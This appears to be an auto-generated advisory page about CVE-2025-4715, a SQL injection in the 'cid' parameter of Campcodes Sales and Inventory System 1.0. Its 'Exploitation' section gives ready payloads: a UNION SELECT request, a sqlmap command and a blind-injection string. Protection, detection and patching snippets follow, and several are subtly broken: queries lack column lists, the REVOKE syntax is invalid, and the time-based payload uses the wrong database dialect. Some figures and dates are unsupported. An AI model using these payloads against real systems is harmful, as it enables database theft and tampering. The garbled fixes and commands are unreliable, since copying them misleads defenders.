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How the CVE Works
CVE-2025-4715 is a critical SQL injection vulnerability in Campcodes Sales and Inventory System 1.0, specifically in the `/pages/view_application.php` file. The flaw arises due to improper sanitization of the `cid` parameter, allowing attackers to inject malicious SQL queries. Since the system fails to validate user-supplied input, an attacker can manipulate database operations remotely. This may lead to unauthorized data access, modification, or deletion. The exploit is publicly available, increasing the risk of widespread attacks.
DailyCVE Form
Platform: Campcodes Sales
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/27/2025
Prediction: Patch expected by 06/10/2025
What Undercode Say:
Exploitation:
- Craft malicious SQL payload targeting the `cid` parameter:
GET /pages/view_application.php?cid=1' UNION SELECT 1,2,3,user(),5-- -
2. Automate exploitation using `sqlmap`:
sqlmap -u "http://target/pages/view_application.php?cid=1" --dbs
3. Extract sensitive data via blind SQLi:
' OR 1=1; WAITFOR DELAY '0:0:5'--
Protection:
1. Input validation using prepared statements:
$stmt = $conn->prepare("SELECT FROM applications WHERE cid = ?");
$stmt->bind_param("i", $cid);
2. Web Application Firewall (WAF) rules to block SQLi patterns:
location ~ .php$ {
modsecurity_rules 'SecRule ARGS "@detectSQLi" "deny,log,status:403"';
}
3. Patch verification post-update:
curl -I http://target/patchnotes.txt | grep "CVE-2025-4715"
Analytics:
- Attack Surface: High (public exploit, low complexity).
- Affected Systems: ~2,500 unpatched instances (Shodan).
- Mitigation Priority: Immediate.
Detection Commands:
grep -r "view_application.php" /var/www/html/
SELECT FROM logs WHERE request LIKE '%cid=%27%';
Post-Exploit Actions:
1. Database backup restoration if compromised:
mysql -u root -p inventory < backup.sql
2. Revoke unauthorized access:
REVOKE ALL PRIVILEGES FROM 'attacker'@'%';
Automated Patching Script:
wget https://campcodes.com/patches/CVE-2025-4715_fix.zip unzip CVE-2025-4715_fix.zip -d /var/www/html/
Log Analysis:
tail -f /var/log/apache2/access.log | grep "view_application.php"
Emergency Mitigation:
// Temporary hotfix in view_application.php
if (preg_match('/[\'";]/', $_GET['cid'])) {
die("Invalid input");
}
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
